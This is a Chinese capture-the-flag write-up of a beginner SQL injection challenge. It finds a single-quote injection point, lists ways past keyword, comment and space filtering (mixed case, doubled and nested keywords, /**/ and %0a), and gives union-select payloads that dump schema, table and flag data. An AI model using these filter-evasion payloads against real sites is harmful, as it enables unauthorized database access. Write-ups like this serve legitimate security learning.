简单的sql注入1
首先查看源码找找思路
发现源码里什么都没有
再使用bp拦截下数据
多次拦截后发现我们在
输入框里输入的等下就是id=
意思是我们这里就可以直接使用get注入了
好像类似于sql-labs上的?id=
所以这里应该还用不上bp,我们直接对输入栏里进行注入试试
1
1’
1”
发现1’会报错,所以这里的注入口就是1’
根据提示这里的sql注入会过滤一些东西,所以我们先找找那些会被过滤
这里我们尝试1#,1’#,1”#
发现只有1’#会报错其余的都会被过滤掉
所以这里的#也是被过滤了不起作用的.
再测试 1' order by 1 #和1' select 1 #发现报错的都只有
所以这里我们输入的注入语句关键字也被过滤了
百度了一下防过滤的方法
关键词被过滤:解决方法如下
1大小写交替: Order SeLect
2.双写 : OderOrder SelectSelect (双写后要加两空格)
3.交叉: selecselectt
注释符被过滤,解决方法如下:
用 '号闭合 ,如having , where
空格被过滤,解决方法如下:
+,/**/,%0a
所以这里使用/**/代替掉空格试试
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1' ='1
name中显示出了数据库表名称,证明这个方法可行
再使用
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1
查询表中列的信息
发现没用,有点尴尬。。。。混合使用双写交叉试试
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schemtable_schemaa='web1
这样就得到了列名称
再就是查询flag列下的信息了
使用双写的方法
1' unionunion selectselect flag fromfrom flag wherewhere '1' ='1
就得到flag了(这里是第一次写的ctf题的wp所以有点瓜皮,后面就直接根据信息来判断题的类型来做题了)